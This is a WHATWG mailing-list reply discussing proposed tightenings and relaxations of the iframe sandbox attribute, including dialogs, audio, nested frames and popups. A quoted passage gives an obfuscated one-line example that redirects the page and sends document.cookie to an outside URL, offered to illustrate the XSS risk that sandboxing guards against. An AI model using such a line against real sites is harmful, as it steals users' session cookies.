Re: [whatwg] iframes, more sandbox

On Thu, 6 Feb 2014, Chris Coyier wrote:
> 
> I'm hoping for more a little bit more control over <iframe>s. We have 
> <iframe sandbox> which is pretty fantastic right now. I'd like to see 
> some possibilities in both directions (more and less strict).
> 
> More strict:
>  - Disallow modal dialogs (e.g. alert, confirm) but otherwise allowing
> scripts via allow-scripts

We could do this by having an allow-limited-scripts instead of 
allow-scripts, which doesn't allow things like alert() and confirm(). We'd 
need a precise list of what should be allwoed and what should not.

Or, we could just kill those APIs in sandboxed iframes. How many sandboxed 
iframes rely on alert() in a non-annoying fashion?


>  - Also dialogs like when a page or resource is .htpasswd protected

I'm actually rather surprised that browsers still show these for iframed 
content. (I checked, and Firefox, Safari, and Chrome indeed do.) Maybe we 
should see if we could get that changed to a non-modal solution before 
providing a markup way to prevent it altogether.


>  - Do not make sound, period. Autoplay is already disabled in sandbox, but
> can be circumvented (e.g. by creating new audio element that autoplays,
> apis that create iframes (soundcloud, vimeo) that then play).

You can circumvent it via script (calling .play()). That's all, though. We 
could block .play() and friends via allow-limited-scripts, if that's the 
issue. Or we could automute all media elements and make the unmuting APIs 
blocked if you have allow-limited-scripts set.

It's presumably ok if the user is the one that plays the audio in the 
iframe?


> Less strict:
>  - Allow some safe version of target="_blank" links

Isn't that what allow-popups does?


On Mon, 10 Feb 2014, Chris Coyier wrote:
> 
> I'm not sure if this is a complete list, but: alert, alert1, confirm, 
> prompt, the one from window.onbeforeunload, and the one from .htpasswd

What is "alert1"?


> I can imagine further tightening like stopping .play() from working, but 
> then not doing anything to stop the web audio api for instance. So 
> rather than stop each one specifically, just neuter the whole system.

Web Audio would be something we could prevent if allow-limited-scripts 
was enabled. Or, we could mute the audio in the iframe if that was set, 
with a non-modal infobar allowing the user to unmute it.

I'm skeptical about wanting to prevent audio when an iframe contains a 
video that the user started or unmuted though.


> >    - Cannot contain another iframe
> >
> > Why? Which problem does this solve?
> 
> The thinking here is that new iframes have a new window object. So in 
> the past I've dealt with annoyingness-prevention by overriding functions 
> like alert and confirm. But you can get around that by creating a new 
> iframe (of which there are rather infinite ways to do that) which gives 
> you that fresh window object in which to do an alert, which then pops up 
> on the very top parent page.

If you can access the frame's Window object, the frame can access yours. 
So that seems like a very dangerous game. Unless you have 
allow-same-origin, you're not going to be able to get to the iframe 
contents anyway. And unless you have allow-scripts, they're not going to 
be running any scripts. And if you have both, you've lost.


> The other concern is the audio/video thing, in which an injected (say, 
> Vimeo) iframe can autoplay.

If we prevent audio, a nested iframe can't play audio. Sandbox applies to 
all subiframes.


> Stretch goal: setting some limit on memory usage by an iframe.

That's somewhat up to the UA.


> In my mind, perhaps the #1 reason to sandbox an iframe is preventing 
> XSS. There are so many ways to change the window location, it's awesome 
> to have a way to prevent them all. e.g. window["l"+"ocation"] = 
> "http://google.com" + document.cookie (sigh). However, the goal (for me) 
> isn't so much the preventing of location changing but the danger of XSS. 
> So perhaps it would be possible to 1) still disallow all top location 
> changing 2) allow target="_blank" links that are sanitized (somehow 
> guaranteed to not be passing sensitive data). Maybe not possible.

If you're allowing scripting, there's no way to tell if the data is 
sensitive or not. Fundamentally, a page could encrypt the data in a way 
that makes it look like noise.

But I don't really understand what XSS you're concerned about. If you're 
worried about the page accessing the local origin's content, then 
sandboxing solves that (unless you set allow-same-origin). If you're 
concerned about the page running script, then sandboxing solves that 
(unless you set allow-scripts).

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

Received on Thursday, 1 May 2014 19:16:13 UTC